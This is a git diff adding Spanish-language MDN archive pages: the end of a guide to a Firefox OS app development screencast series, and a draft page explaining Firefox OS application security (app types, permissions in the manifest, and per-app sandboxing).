+<p>La serie nos muestra a <a href="http://twitter.com/janjongboom">Jan Jongboom (@janjongboom)</a> y <a href="http://twitter.com/sergimansilla">Sergi Mansilla (@sergimansilla)</a> de Telenor Digital, y <a href="http://twitter.com/codepo8">Chris Heilmann (@codepo8)</a> de Mozilla; Fue grabada durante tres días en Oslo, Noruega en la sede central de Telenor en Febrero del 2014.</p>
+
+<p>Aquí estamos nosotros tres hablándote acerca de la serie y qué puedes esperar de ella:</p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/bp87xaLI0h4?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<h2 id="Sección_1_Construyendo_tu_primera_aplicación_para_Firefox_Os_y_como_publicarla">Sección 1: Construyendo tu primera aplicación para Firefox Os y como publicarla</h2>
+
+<p>En los primeros cinco screencast de la sección 1 mostraremos como construir una aplicación para Firefox Os, como depurarla y probarla en tu computadora y en un dispositivo real,  y como tenerla listada en el <a href="https://marketplace.firefox.com/">Firefox Marketplace</a>. Esto puede sonar como mucho trabajo, pero pronto descubrirás que si ya sabes como construir un sitio web, tienes 90% del camino listo.</p>
+
+<h3 id="Más_que_un_sitio_web">Más que un sitio web</h3>
+
+<p>Las aplicaciones de Firefox OS son HTML5, En esencia, estas usan las mismas tecnologías que los sitios web. Puedes empezar escribiendo un sitio web y convertirlo en una aplicación simplemente dándole un archivo de manifiesto (ver <a href="#The_app_manifest">The app manifest</a> para más detalles). Esto le dice a Firefox OS que estas escribiendo una aplicación y te permite:</p>
+
+<ul>
+ <li>Listar la aplicación en el marketplace.</li>
+ <li>Obtenga acceso al hardware del dispositivo  donde se ejecutara, para obtener información tal como  <a href="/en-US/docs/Web/API/Geolocation">Geolocalización</a> y <a href="/en-US/Apps/Build/gather_and_modify_data/Keep_it_level_responding_to_device_orientation_changes">Orientación del dispositivo</a>.</li>
+ <li>Mucho más!</li>
+</ul>
+
+<p>En esencia, las aplicaciones HTML5 son sitios web sobre alimentados y deben seguir las mismas reglas, como por ejemplo:</p>
+
+<ul>
+ <li>Mejora progresiva: Prueba para ver si lo que tu quieres utilizar está realmente disponible antes de intentar acceder a él.</li>
+ <li>Adaptación a su entorno: Por ejemplo, utilizando <a href="/en-US/docs/Web/Guide/CSS/Media_queries">media queries</a> y <a href="/en-US/Apps/app_layout/responsive_design_building_blocks#Responsive_images.2Fvideo">responsive images</a> para optimizar las aplicaciones para distintos tamaños de pantalla, resoluciones y velocidades de red disponibles.</li>
+ <li>Utilizar <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a> y <a href="/en-US/docs/Web/JavaScript">JavaScript</a> como tecnologías principales.</li>
+</ul>
+
+<p>La diferencia principal es que para que una página web se convierta en una gran aplicación, debes tener muy en cuenta a los usuarios móviles. Esto significa, ante todo, que tu aplicación debe:</p>
+
+<ul dir="ltr">
+ <li><a href="/en-US/Apps/Build/Offline">Trabajar <em>offline</em></a></li>
+ <li>Permitir a los usuarios hacer una cosa y tener una interface que lo haga fácil</li>
+ <li>Jugar muy bien con la vida de la batería y velocidad del procesador</li>
+</ul>
+
+<p>En muchos casos, esto significa que necesitas hacer más ligera tu página web y simplificar la interface. La buena noticia es que todos tus usuarios serán beneficiados por eso.</p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/fBJmUreevRU?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Para encontrar más información acerca de cómo diseñar una buena aplicación HTML5, entra al <a href="/en-US/Apps">App Center en MDN</a>.</p>
+</div>
+
+<h3 id="El_archivo_manifest_de_tu_app">El archivo <em>manifest</em> de tu app</h3>
+
+<p>El <a href="/en-US/Apps/Build/Manifest">App Manifest en Firefox OS</a> en un archivo simple de JSON que le dice al sistema operativo acerca de tu aplicación. En esencia, esto es lo que convierte una página web en una <a href="https://developer.mozilla.org/en-US/Apps/Quickstart/Build/Intro_to_open_web_apps">Open Web App</a>. Dentro del <em>manifest</em>, tu defines el nombre en diferentes localidades y solicitas al sistema operativo tener acceso a varios servicios y al <em>hardware</em>. Incluso puedes editar la orientación predeterminada de tu aplicación, y de ser necesario, bloquear la orientación.</p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/txyux8RZrxY?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<p>Para más información acerca del manifest y herramientas que pueden ayudarte:</p>
+
+<ul>
+ <li>El <a href="https://marketplace.firefox.com/developers/validator">Validador de Manifest de Aplicaciones Web Abiertas</a> — también disponible como una <a href="http://firefox-marketplace-api.readthedocs.org/en/latest/">API</a>.</li>
+ <li>La <a href="/en-US/Apps/Build/Manifest">Documentación sobre Manifest para aplicaciones Web Abiertas</a> — incluye información sobre como servir un Manifest desde tu propio servidor.</li>
+</ul>
+
+<h3 id="El_gestor_de_aplicaciones">El gestor de aplicaciones</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">La</span> <span class="hps">forma más sencilla de</span> <span class="hps">empezar a trabajar con</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">es probando</span> <span class="hps">el gestor</span> <span class="hps">de aplicaciones</span></span> <a href="https://developer.mozilla.org/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a>.  Esta herramienta se encuentra junto al <a href="https://developer.mozilla.org/en-US/docs/Tools/">Firefox developer tools for desktop</a> y te permite conectarte a un simulador de Firefox OS en su computadora, o a un dispositivo real con Firefefox OS si tienes uno disponible. Desde allí, puedes jugar con Firefox OS, instalar aplicaciones directamente dentro del simulador o en un dispositivo real, y depurarlas como si se ejecutaran en un Firefox OS , viendo los cambios inmediatamente en tiempo real sin necesidad de desinstalar o actualizar las aplicaciones.</p>
+
+<p>El siguiente video presenta los primeros pasos para el uso del App Manager junto con el simulador:</p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/wiROpnExj-A?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<div class="note">
+<p><strong>Nota</strong>: El App Manager te permite depurar tus propias aplicaciones sin ningun problema incluso cuando no estes conectado.</p>
+</div>
+
+<p>Para más información sobre el App Manager:</p>
+
+<ul>
+ <li>La  <a href="https://developer.mozilla.org/en-US/Firefox_OS/Using_the_App_Manager">documentación del App Manager en MDN.</a></li>
+ <li>Entradas de <a href="https://hacks.mozilla.org/2013/10/introducing-the-firefox-os-app-manager/">blog introductorias en Mozilla Hacks.</a></li>
+</ul>
+
+<h3 id="Probar_en_un_Dispositivo_Real">Probar en un Dispositivo Real</h3>
+
+<p>Probar tus aplicaciones en un simulador esta bien, pero solo te lleva tan lejos como un ambiente simulado puede hacerlo. Si quieres probar el rendimiento de la interacción de la aplicación o la reacción a algunas cosas como la orientación del dispositivo, necesitas un dispositivo real. Con las herramientas de desarrollo y el App Manager juntos, puedes usar el dispositivo y adentrarte en los detalles de lo que pasa dentro de tu aplicación mientras la usas.</p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/OIUQwqQMVZM?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<h3 id="Publicar_en_el_Marketplace">Publicar en el Marketplace</h3>
+
+<p>El <a href="http://marketplace.firefox.com/">Marketplace de Firefox OS </a> es el sitio mas conveniente para listas tus aplicaciones y ponerlas a disposicion de las personas en sus dispositivos y en la web. El Marketplace también te permite listar tu aplicación para otras plataformas como Firefox Desktop y Firefox para Android. Tambien puedes permitir que las personas valoren tu aplicación, den su opinión, y compren  tu aplicación usando un proceso simple de verificación. Listar tu aplicación es simple:</p>
+
+<ul>
+ <li>Agrega la URL del marketplace a tu archivo manifest.</li>
+ <li>Agrega una descripción de tu aplicación (la cual ayuda a las personas a encontrarlo entre todas las demás aplicaciones disponibles.)</li>
+ <li>Proporcionar imágenes de pantalla o videos para mostrar la funcionalidad de tu aplicación.</li>
+ <li>Selecciona una categoría para tu aplicación.</li>
+ <li>Proporcionanos un correo electronico para contactarte.</li>
+ <li>Proporciona a usuarios(as) finales un enlace a tu política de privacidad y sitio web de soporte.</li>
+ <li>Provee una <a href="/en-US/Marketplace/Submission/Rating_Your_Content">clasificación de contenido</a> para tu aplicación.</li>
+</ul>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/gipaEJTM3TU?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<p>Las aplicaciones enviadas al Marketplace son revisadas por el equipo revisor de aplicaciones de Mozilla y se te notificara sobre el estado de tu envío en pocos días. Si existen problemas con tu aplicación recibirás un mensaje de validación durante el proceso, pero es posible que también recibas una explicación legible por humanos sobre lo que está mal y como solucionarlo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Lee <a href="/en-US/Marketplace/Submission/Submitting_an_app">Submitting an application to the Firefox Marketplace</a> para más nformación sobre el procesos de envío.</p>
+</div>
+
+<h2 id="Sección_2_Tópicos_Avanzados_sobre_Firefox_OS">Sección 2: Tópicos Avanzados sobre Firefox OS</h2>
+
+<p>En los primeros videos te presentamos Firefox OS y como desarrollar tu primera aplicación. También abarcamos como depurar tu aplicación en el escritorio (y en un dispositivo real), y como listar tu aplicación en el Marketplace de Firefox. En los cinco videos restantes nos adentraremos en las tecnologías que permiten a Firefox OS ir un paso más adelante y darte acceso a las funcionalidades que hacen del desarrollo para smartphones y tablets interesante para los desarrolladores. Pese a que muchas de estas tecnologías actualmente solo funcionan en Firefox OS, son todas de código abierto y han sido enviadas como propuestas estándar. Trabajar hoy con estas APIs significa que estás preparado para otros dispositivos y plataformas que emergerán en el futuro cercado.</p>
+
+<h3 id="Web_APIs">Web APIs</h3>
+
+<p>Los Smartphones están llenos de tecnología grandiosa (cámaras, acelerómetros, y GPS para nombras algunos).  El problemas era que ellas no eran accesibles para tecnologias web, si querías acceder a ellas necesitabas escribir aplicaciones nativas. Para solucionar esto, Mozilla y sus socios diseñaron un conjunto de APIs para permitir a los desarrolladores alcanzar las profundidades del hadrware de los dispositivos móviles usando JavaScript de una forma segura. Estas son llamadas <a href="https://wiki.mozilla.org/WebAPI">Web APIs</a> y estan definidas abiertamente y disponibles para que otros las implementen. Firefox OS es la primera plataforma que las usa.</p>
+
+<p> Más infromación en el siguiente screencast:</p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/p0DWpWNTd7w?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<p>Para más información sobre las Web APIs:</p>
+
+<ul>
+ <li>La  <a href="https://wiki.mozilla.org/WebAPI">Página Wiki describe el trabajo adelantado y el estado de la implementación</a>. También incluye enlaces a los estándares en el que se basan.</li>
+ <li><a href="https://hacks.mozilla.org/category/webapi/">Entradas en Mozilla Hacks</a>  que tratan el tópico de las WebAPIs.</li>
+</ul>
+
+<h3 id="Web_Activities">Web Activities</h3>
+
+<p><a href="https://wiki.mozilla.org/WebAPI/WebActivities">Web Activities</a> son métodos alternativos para acceder al hardware de un dispositivo. En vez de hacer que una API se comunique con el dispositivo directamente, Web Arctivities te permitirá crear un ecosistema de aplicaciones en el dispositivo que se comunican entre sí y comparten sus habilidades. Por ejemplo, en vez de acceder a la cámara directamente, tu aplicación puede usar un Web Activity para solicitar una imagen y el usuario del dispositivo puede usar su aplicación favorita para tomar una foto la cual es devuelta a la aplicación que realizo la petición originalmente.</p>
+
+<p>En vez de solicitar a los usuarios acceso a los dispositivos (lo cual es importante en términos de seguridad), les permitirás usar aplicaciones en la que ellos ya confían para realizar dichas funciones. Además,  puedes registrar tus aplicaciones como las opciones preferidas para ciertas tareas en el sistema operativo. Puedes pensar sobre los Web Activities como el equivalente de hacer clic con el botón derecho sobre un documento en el escritorio del computador y seleccionar con cual aplicación abrir dicho documento. Aparecerán diferentes opciones más una opción para hacer que el sistema operativo utilice de manera predeterminada esta aplicación para abrir los archivos de ahora en adelante.</p>
+
+<p>Web Activities permite a las aplicaciones comunicarse entre sí en el dispositivo sin ninguna necesidad de utilizar un servidor. Lo único que transmiten de una aplicación a la otra es la información final.</p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/CQODL9AGKv0?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<p>Para más información sobre Web Activities:</p>
+
+<ul>
+ <li><a href="https://wiki.mozilla.org/WebAPI/WebActivities">Página Wiki de Web Activities</a></li>
+ <li><a href="/en-US/docs/WebAPI/Web_Activities">Web activities reference on MDN</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/01/introducing-web-activities/">Introducción a Web Activities</a> en Mozilla Hacks</li>
+</ul>
+
+<h3 id="Notificaciones_Push">Notificaciones Push</h3>
+
+<p>Notificaciones Push (invocada usando el SimplePush Web API) son métodos para que una aplicación reaccione cuando el dispositivo recibe un mensaje específico. Esto te permitirá desarrollar aplicaciones que pueden estar cerradas (y ahorrando energía) hasta que sean necesarias. Las notificaciones creadas de esta manera tendrán el beneficio de no portar información y de esta manera Mozilla nunca obtendrá información sobre la aplicación y los atacantes no podrán acceder a la misma.</p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/qpgNIsJ2pg4?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<p>Para más información sobre cómo usar Notificaciones Push con SimplePush:</p>
+
+<ul>
+ <li><a href="https://wiki.mozilla.org/WebAPI/SimplePush">Página Wiki de SimplePush </a></li>
+ <li><a href="/en-US/docs/WebAPI/Simple_Push">La guía de SimplePush en MDN</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/07/dont-miss-out-on-the-real-time-fun-use-firefox-os-push-notifications/">Introducción a SimplePush</a> en Mozilla Hacks</li>
+</ul>
+
+<h3 id="Funcionalidad_sin_conexión">Funcionalidad sin conexión</h3>
+
+<p>Las aplicaciones no son muy útiles si no funcionan sin conexión web. Este es un motivo por el cual los usuarios prefieren aplicaciones ya instaladas en vez abrir el navegador del dispositivo y buscar el contenido en él. El término “aplicación web” pareciera indicar que se necesita de una conexión web para que la aplicación  se pueda usar.</p>
+
+<p>Nuestros usuarios estarán sin conexión web en algunas ocasiones (ya sea en un avión, en el subterráneo o sin plan de datos en la tarjeta SIM) y necesitamos asegurarnos de que nuestras aplicaciones sean útiles cuando eso suceda. HTML5 ofrece algunas tecnologías que permiten funcionalidad sin conexión web, principalmente <a href="https://developer.mozilla.org/en-US/docs/HTML/Using_the_application_cache">AppCache</a> y <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">DOMStorage</a>.</p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/dnuoUM_bIQM?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<p>Para más información sobre funcionalidad sin conexión:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">Página Wiki de DOMStorage</a>.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/HTML/Using_the_application_cache">Página Wiki de AppCache</a>.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Using_IndexedDB">Usar IndexedDB</a>  para alamcenamiento avanzado en el cliente.</li>
+ <li><a href="https://github.com/mozilla/localForage">LocalForage</a> es un empaquetador usado en Firefox OS para proveer la simplicidad de DOMStorage junto con el poder de IndexedDB (explicado en deatalle en <a href="https://hacks.mozilla.org/2014/02/localforage-offline-storage-improved/">esta entrada de Mozilla Hacks</a>.)</li>
+</ul>
+
+<h2 id="Donde_encontrar_más">Donde encontrar más</h2>
+
+<p>Esperamos que esta serie de videos te haya dado una clara introducción para el desarrollo de tus propias aplicaciones web abiertas. Si te interesa aprender más, existen algunos recursos y canales que puedes usar:</p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/Z2yVFXEYnnc?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<ul>
+ <li>El <a href="https://developer.mozilla.org/en-US/docs/Apps/">MDN App Center</a> presenta información sobre como diseñar y desarrollar buenas aplicaciones web abiertas.</li>
+ <li>La <a href="/en-US/Marketplace">MDN Marketplace zone</a> contiene instrucciones detalladas sobre como hacer que tus aplicaciones sean listadas en el Firefox Marketplace, diferentes opciones de publicación, y la gestión de pagos.</li>
+ <li>El <a href="https://hacks.mozilla.org">Hacks Blog</a> presente artículos semanales sobre aplicaciones de Firefox OS (presentando al personal de Mozilla y personas que desarrollan por su cuenta como tu), y tecnologías innovadoras. Es un lugar excelente para tener una visión sobre lo que vendrá en las próximas versiones de Firefox y Firefox OS.</li>
+ <li>La <a href="/en-US/Firefox_OS">MDN Firefox OS zone</a> y <a href="https://wiki.mozilla.org/B2G">B2G Wiki</a> tiene información mas detallada sobre el sistema operativo Firefox OS.</li>
+ <li>Estamos siempre en IRC — simplemente usa <a href="http://irc.mozilla.org">irc.mozilla.org</a> y encuentranos en #devrel, #b2g, #openwebapps o #marketplace.</li>
+</ul>
+
+<p>Esperamos verte allí.</p>
+
+<p>Chris, Sergi y Jan</p>
diff --git a/files/es/archive/b2g_os/security/application_security/index.html b/files/es/archive/b2g_os/security/application_security/index.html
new file mode 100644
index 0000000000..0573a493e0
--- /dev/null
+++ b/files/es/archive/b2g_os/security/application_security/index.html
@@ -0,0 +1,118 @@
+---
+title: Seguridad en aplicaciones
+slug: Archive/B2G_OS/Security/Application_security
+translation_of: Archive/B2G_OS/Security/Application_security
+---
+<div>
+ <div class="overheadIndicator draft">
+    <p><strong>Borrador</strong><br>
+    Esta página no está completa.</p>
+
+</div></div>
+<p>Los controles clave en la seguridad de las aplicaciones web introducidas por FirefoxOS son:</p>
+<ul>
+ <li>Las aplicaciones web son explicitamente instaladas y lanzadas explicitamente, en vez de ser casualmente navedas con el navegador. Las aplicaciones deben ser instaladas antes de ser usadas, y controles de seguridad gobiernan la actualización y desintalacion de las aplicaciones para proteger al usuario.</li>
+ <li>El acceso a las nuevas APIs web esta controlado por un sistema de permisos, donde una aplicación debe declarar los permisos que intenta usar antes de ser instalada. Para ganar acceso a APIs más poderosas, las aplicaciones deben cumplir ciertos requerimientos, y ser revisadas, aprobadas y firmadas por una tienda de aplicaciones.</li>
+ <li>Las aplicaciones web funcionan dentro de un sandbox así solo pueden ver sus propios recursos (cookies, almacenamiento offline, bases de datos indexadas, etc.). Inclusive si dos aplicaciones cargan la misma URL, estas dos páginas no son consideradas del mismo origen al estar corriendo dentro de dos aplicaciones separadas.</li>
+</ul>
+<h3 id="Tipos_de_aplicaciones">Tipos de aplicaciones</h3>
+<p>FirefoxOS soporta tres tipos de aplicaciones web:<span id="cke_bm_73S" style="display: none;"> </span><span id="cke_bm_71S" style="display: none;"> </span> "<strong>web</strong>"<span id="cke_bm_73E" style="display: none;"> </span><span id="cke_bm_71E" style="display: none;"> </span>,<span id="cke_bm_74S" style="display: none;"> </span> "<strong>privilegiadas</strong>"<span id="cke_bm_74E" style="display: none;"> </span> y "<strong>certificadas</strong>". Un tipo de aplicacion es declarado en su <a href="/en-US/docs/Apps/Manifest" title="/en-US/docs/Apps/Manifest">manifest</a>, y determina la lista de permisos que puede solicitar.</p>
+<ul>
+ <li><strong>Aplicaciones web:</strong> la mayor parte de las aplicaciones de terceros serán aplicaciones "web", el cual es el tipo por defecto, y no garantiza a la aplicación ningún permiso adicional aparte de aquellos ya expuestos en la web. Las aplicaciones wev pueden ser instaladas desde cualquier sitio web, sin ningún otro tipo de verificación. También pueden ser <a href="/es/docs/Aplicaciones/Packaged_apps">empaquetadas</a> pero esto no les concede ningún permiso adicional.</li>
+ <li><strong>Aplicaciones privilegiadas:</strong> Estas aplicaciones pueden solicitar mayores permisos, y como tales las aplicaciones <em>privilegiadas</em> deben ser verificadas y firmadas por una tienda de aplicaciones.</li>
+ <li><strong>Aplicaciones certificadas:</strong> actualmente las aplicaciones certificadas solo pueden ser preinstaladas en los dispositivos.</li>
+</ul>
+<p>Para más detalles de los tres tipos, véase la documentación del <a href="/en-US/docs/Apps/Manifest#type" title="/en-US/docs/Apps/Manifest#type">App Manifest</a>.</p>
+<h3 id="Entrega_de_aplicaciones">Entrega de aplicaciones</h3>
+<p>Las aplicaciones pueden ser  pueden ser entregadas por dos mecanismos diferentes en Firefox OS:  alojadas o enpaquetadas. Las aplicaciones web regulares pueden ser entregadas por cualquier mecanismo, mientras que las aplicaciones privilegiadas deben ser empaquetadas.</p>
+<h4 id="Aplicaciones_alojadas"><span class="mw-headline" id="Hosted_apps">Aplicaciones alojadas</span></h4>
+<p>Una aplicación alojada consiste simplemente en un archivo <a href="/es/docs/Aplicaciones/Manifest">manifest</a> en el servidor del desarrollador. A menudo el manifest apunta también a un manifest de appcache que permite a la aplicación ser cacheada para un arranque más rápido y para habilitar el uso offline, pero de otra manera no afecta a la aplicación para nada. Desde el punto de vista de la seguridad, las aplicaciones alojadas funcionan como un sitio web normal. Cuando una aplicación alojada es cargada, la URL de las paginas cargadas son las URL que aquellas paginas tendrian normalmente en su servidor web. Así para enlazar a una página web específica o recurso en la aplicación, la misma URL es usada como cuando una URL es usada para enlazar a esa página o URL en un sitio web específico.</p>
+<h4 id="Aplicaciones_empaquetadas">Aplicaciones empaquetadas</h4>
+<p><strong>Una aplicación empaquetada</strong> es una Open Web App que tiene todos sus recursos (HTML, CSS, JavaScript, app manifest, etc.) contenidos en un archivo zip, en vez de tener sus recursos en un servidor web. Para más detalles en este formato, vease <a href="/es/docs/Aplicaciones/Packaged_apps">aplicaciones empaquetadas</a>. </p>
+<h3 id="Instalación_de_aplicaciones">Instalación de aplicaciones</h3>
+<p>Las aplicaciones son instaladas mediante la <a href="/es/docs/Aplicaciones/Apps_JavaScript_API" title="/en-US/docs/JavaScript_API">API Javascript de aplicaciones</a>:</p>
+<ul>
+ <li>Aplicaciones alojadas: las aplicaciones alojadas son instaladas llamando <code>navigator.mozApps.<a href="/en-US/docs/Web/API/Apps.install" title="/en-US/docs/Web/API/Apps.install">install</a>(URL_del_manifest)</code>, donde URL_del_manifest es una URL que especifica la ubicación de la aplicación. Para más detalles véase <a href="/en-US/docs/DOM/Apps.install">Instalando aplicaciones</a>.</li>
+ <li>Aplicaciones empaquetadas: las aplicaciones alojadas son instaladas llamando <code>navigator.mozApps.<a href="/en-US/docs/Web/API/Apps.installPackage" title="/en-US/docs/Web/API/Apps.installPackage">installPackage</a>(URL_del_paquete)</code>. Para las aplicaciones empaquetadas el manifest principal de la aplicación es guardado dentro del paquete mismo, entonces este es firmado. Hay un segundo 'mini-manifest' el cual es usado para arrancar el proceso de instalación. Vease <a href="/es/docs/Web/API/Apps.installPackage">Instalando aplicaciones empaquetadas</a> y <a href="/es/docs/Web/Apps/Developing/Packaged_apps/Packaged_apps">Aplicaciones empaquetadas</a> para más información.</li>
+</ul>
+<p>Para asegurarse que una aplicación realmente quiere ser instalada como una aplicación web tenemos que asegurar que no es posible engañar a un sitio web para que aloje un manifest de aplicación. Esto es hecho exigiendo que el manifest sea servido con un mime-type específico, "application/x-web-app-manifest+json". Esta restricción se relaja cuando la aplicación manifest, y por lo tanto el manifest de aplicación, es del mismo origen que la página que hizo el pedido para instalar la aplicación.</p>
+<h3 id="Actualizaciones"><span class="mw-headline" id="Updates">Actualizaciones</span></h3>
+<p>El proceso de actualizaciones para las aplicaciones está descrito aquí:  <a href="/en-US/docs/Apps/Updating_apps" title="Apps/Updating_apps">Actualizando apliaciones [en-US]</a></p>
+<h2 id="Permisos">Permisos</h2>
+<p>Se le pueden otorgar privilegios adicionales a las aplicaciones por sobre los privilegios de un sitio normal. Por defecto las aplicaciones tienen los mismos permisos que las páginas web normales. Para poder ganar permisos adicionales, el primer paso es enumerar los permisos adicionales que esta necesita en el manifest de la aplicación.</p>
+<h3 id="Declaración_del_manifest">Declaración del manifest</h3>
+<p>Para cada permiso adicional que la aplicación quiera, el manifest debe enumerar el permiso junto con una descripción sencilla de por qué la aplicación necesita ese permiso. Por ejemplo si una aplicación quiere usar la API<a href="/es/docs/DOM/window.navigator.geolocation" title="/en-US/docs/Web/API/window.navigator.geolocation"> navigator.geolocation</a>, debe incluir en su archivo manifest:</p>
+<pre class="brush: html">"permissions": {
+  "geolocation":{
+<code class="language-js"><span class="token string">    "description"</span><span class="token punctuation">:</span> <span class="token string">"Requerido para el autocompletado en la pantalla compartida"</span><span class="token punctuation">,</span></code>
+  }
+},
+</pre>
+<p>Esto permite a la aplicación indicar el permiso para la geolocalización, de la misma manera que una página web normal lo haría. Para más detalles acerca de los manifest, véase <a href="/en-US/docs/Apps/Manifest" title="Apps/Manifest">App manifest</a>.</p>
+<p>Nota: Actualemente la intensión de uso de los permisos no se muestran al usuario - véase <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=823385" title="https://bugzilla.mozilla.org/show_bug.cgi?id=823385">bug 823385</a>.</p>
+<h3 id="Otorgando_permisos">Otorgando permisos</h3>
+<p>Cuando los permisos son solicitados en el manifest, el permiso es definido como "allow" (permitir) o "prompt" (preguntar). Los permisos permitidos son otorgados al ser declarados en el manifest sin necesidad de más aprobaciones. Para permisos preguntados, se le pide el permiso al usuario la primera vez que la aplicación accede a la API relacionada, y tiene que tomar la decisión antes de que el acceso a la API sea otorgado. En general, Firefox OS solo pide a los usarios acerca de los permisos cuando estos pueden tener un impacto en la privacidad, y es razonable para el usuario entender que esta siendo pedido. Por ejemplo el acceso a los contactos es pedido,  sin embargo el acceso para hacer una conección TCP es simplemente garantizada porque no razonable para un usuario entender  las implicaciones de seguridad implicadas en permitir estos permisos. El uso de permisos "allow" es revisado como parte de la revisión de seguridad del Marketplace para asegurar que los usuarios se encuentran protegidos.</p>
+<h3 id="Revocando_permisos">Revocando permisos</h3>
+<p>Los usuarios pueden cambiar su opinión en cualquier momento acerca de permisos "prompt" en cualquier momento, y puede revocar los permisos a través de la aplicación de configuracion de Firefox OS. Los permisos "allow" no son configurables por el usuario.</p>
+<h2 id="Sandbox_de_las_aplicaciones_Web">Sandbox de las aplicaciones Web</h2>
+<h3 id="Información_almacenada_por_aplicación"><span class="mw-headline" id="Data_stored_per_app">Información almacenada por aplicación</span></h3>
+<p>Cada aplicación corre su propio sandbox, eso significa que toda la información guardada por una aplicación es separada de toda la información guardada por cualquier otra aplicación. Esto incluye cosas como información de cookies, información almacenada localmente, bases de datos indexadas localmente, y permisos de sitios.</p>
+<p>Esto significa que si un usuario instaló dos aplicaciones, la Aplicación A y la Aplicación B, estas tendrán cookies completamente diferentes, diferente información local, y diferentes permisos. Esto se aplica inclusive si ambas aplicaciónes abren un &lt;iframe&gt; que apunta hacia el mismo origen. Por ejemplo, si ambas aplicaciones A y B abren un &lt;iframe&gt; que apunta a "<a class="external free" href="http://www.mozilla.org" rel="nofollow">http://www.mozilla.org</a>", ambas mostrarán la misma página web, sin embargo el sitio será cargado y mostrado con diferentes cookies en las dos aplicaciones.</p>
+<p>Un resultado de esto es que si un usuario se registra en, por ejemplo Facebook, cuando está usando la aplicación A, esto afecta la capacidad de B para interactuar con la cuenta del usuario en Facebook. La cookie que que usa facebook para registrarse cuando el usuario está usando la aplicación A está solo disponible para la aplicación A. Si la aplicación B abre un &lt;iframe&gt; a Facebook, la cookie no estará allí y entonces cuando la aplicación B abre Facebook, recibe la pantalla de registro en vez de la cuenta del usuario.</p>
+<h3 id="Las_aplicaciones_no_se_pueden_abrir_entre_ellas"><span class="mw-headline" id="Apps_can.27t_open_each_other">Las aplicaciones no se pueden abrir entre ellas</span></h3>
+<p>Esto significa que las aplicaciones no pueden abrir otras aplicaciones a través del uso de iframes. Si la aplicación A crea un iframe con el src de la aplicación B, esto no abrirá la aplicación B en el iframe. Esto simplemente abrirá el sitio web qe se encuentra en esa URL. No usará ninguna de las cookies de B y por lo tanto no se comportará diferente si la aplicación B no estuviera instalada en el dispositivo.</p>
+<p>Esto se aplica inclusive para las aplicaciones empaquetadas (más información acerca de estas abajo). inclusive si la aplicación A intenta abrir la aplicación enpaquetada B usando un iframe que apunte a app:// Dirección de la aplicación B, esto simplemente no podrá cargar. Si esto resulta en un error 404 o algún tipo de error determinado todavía falta deteminarse, pero definitivamente fallará al cargar. Y fallará de la misma manera no importa si la aplicación está instalada en el dispositivo o no, de modo que es imposible determinar para la aplicación A si la aplicación B se encuentra instalada.</p>
+<p>Lo mismo sucede si el marco superior de la aplicación A es navegado por una URL a la aplicación B. Nosotros sabremos para un determinado marco que aplicación lo abrio, y por lo tanto cuando intente cargar la URL de la aplicación B en el marco de la aplicación A, esto sucederá exactamente como las dos situaciones descriptas arriba, por ejemplo, no hay forma de que use los recursos de B, como ser cookies u otra información local.</p>
+<h3 id="Motivación"><span class="mw-headline" id="Motivation">Motivación</span></h3>
+<p>Hay tanto beneficios como desventajas con este enfoque. La desventaja es que si un usuario interactúa con el mismo sitio web a través de diferentes aplicaciones, deberá registrarse en cada aplicación. Así tambien si un sitio web necesita almacenar información localmente, y el usuario interactúa con ese sitio en varias aplicaciones, la información terminará dplicada en cada aplicación, lo cual puede ser un problema si hay grandes cantidades de información.</p>
+<p>El principal beneficio de de este enfoque es un modelo mucho más estable. No hay forma de que varias aplicaciones puedan hacerlo a través de sitios web de terceros en formas inesperadas que harían que instalar una aplicación haga que otra aplicación deje de funcionar. Cuando una aplicación es desinstalada, no hay forma que la información necesaria para otra aplicación se pierda, o que una aplicación deje de funcionar debido a una dependencia funcional con la aplicación desinstalada.</p>
